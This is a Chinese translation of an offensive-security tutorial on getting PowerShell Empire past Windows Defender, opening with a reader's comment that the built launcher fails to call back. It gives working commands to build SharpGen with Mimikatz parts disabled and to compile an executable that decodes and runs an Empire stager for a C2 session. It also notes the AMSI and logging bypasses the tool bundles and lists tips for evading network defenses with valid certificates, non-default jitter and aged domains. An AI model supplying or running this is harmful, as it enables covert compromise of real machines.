生成example.exe都很顺利,但是生成的Launcher.exe无法回弹shell。
我使用的Empire生成base64编码的命令如下:
uselistener http
set Name test
execute
usestager multi/launcher test
execute
不知道是不是需要和参考链接里一样配置数字签名证书
本文翻译自Getting PowerShell Empire Past Windows Defender
Windows自带的杀毒软件Defender在阻止很多攻击手法方面都做得很好,包括使用PowerShell Empire等工具建立C2通信。我最近在研究一种在启用了Defender的Win10电脑上建立C2会话的方法。我发现有一个叫SharpSploit的项目成功绕过了Defender。SharpSploit将其他安全研究人员的研究成功融合到了一个工具中,并其是利用c#
代码而不是PowerShell.exe
来实现。这种技术有助于绕过AV对恶意PowerShell活动的常见检测。
目前我最感兴趣的是利用sharsploit
命令调用PowerShellExecute
中的方法。
值得一提的是它还融合了Matt Graeber的AMSI绕过技术和Lee Christensen的PowerShell日志绕过技术。综合利用起来很方便! 同时也得提一下 绕过Defender的核心工作是绕过AMSI。
废话不多说,开始学习如何利用PowerShell Empire
绕过Defender等杀毒的手法。
下面将使用shargen将我们想要的sharsploit
功能打包到可执行文件中。打包所需要用到的.Net Core SDK文件可以点击蓝字下载到。
Defender
并不会对SharpGen
的代码文件报毒 但是为了避免不必要的麻烦 你可以选择添加一个白名单文件夹来进行相关处理 通过Git For Windows 执行下面的代码获取SharpGen
的代码:
git clone https://github.com/cobbr/SharpGen.git
SharpGen
和PowerKatz
是捆绑在一起的,PowerKatz
会被编译成最终的可执行文件,此时Defender
仍然会阻止这些可执行文件。因为我们的目标不是运行Mimikatz
(通过PowerKatz),所以我们修改代码来禁用它。在SharpGen
文件夹中的Resources.yml
文件如下:
确保资源文件中的每个Enabled
字段都修改为false
后。准备打包SharpGen DLL
。
cd SharpGen
dotnet build -c Release
程序将生成一个bin/Release/netcoreapp2.1
目录,里面就包含下一步所需的SharpGen.dll
文件。作为测试,我们先构建一个使用Write-Output
将hi
打印到屏幕上的可执行文件。
dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe -d net40 "Console.WriteLine(Shell.PowerShellExecute(\"Write-Output hi\"));"
执行完后将在Output
文件夹中找到编译好的可执行文件。上述命令中的-d net40
参数的意思是选择.Net 4.0
的编译环境,如果您的目标系统上是.Net 3.5
那么就需要修改为对应的-d net35
,这是个容易掉进去的坑 望周知。
完了运行example.exe
即可将hi
打印到屏幕上。如果直接点击运行会一闪而过 看不到运行结果。所以建议通过cmd.exe
来运行,以便查看输出。
为了实现最终目标,下面将构建一个可执行文件来运行PowerShell
的一行代码,以便与Empire
建立C2连接。利用用PowerShell Empire
中的multi/launcher stager
生成一行代码(参考)。我们只需要将生成的base64
字符串复制到下面命令中即可。
dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f Launcher.exe -d net40 "Console.WriteLine(Shell.PowerShellExecute(\"$c = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('<BASE64_LAUNCHER>')); invoke-expression -command $c\"));"
(替换命令中的<BASE64_LAUNCHER>
即可)
随后将Output
中的Launcher.exe
上传到目标中在运行即可绕过Defender的保护。
然而再实战中Defender
可能并不是企业环境中会遇到的唯一防御。例如,可能会有网络防御来检查网络流量并阻断通信。这里提供一些绕过的小技巧。
使用https
协议进行通讯 并且要使用有效的的SSL证书(非自己生成的)。
修改所有配置的默认值,如启动Empire Listener
时DefaultJitter
和DefaultProfile
的值。
使用一个老域名(不是最近购买的)和分类的域名。(原文表达的意思为类白名单机制 AV会重点检查新域名 如果是政府域名这类的域名直接放行)
如果白名单起到作用,但是AV阻止生成的随机可执行文件,可运用一些白名单绕过技术后再尝试。如我之前绕过的例子.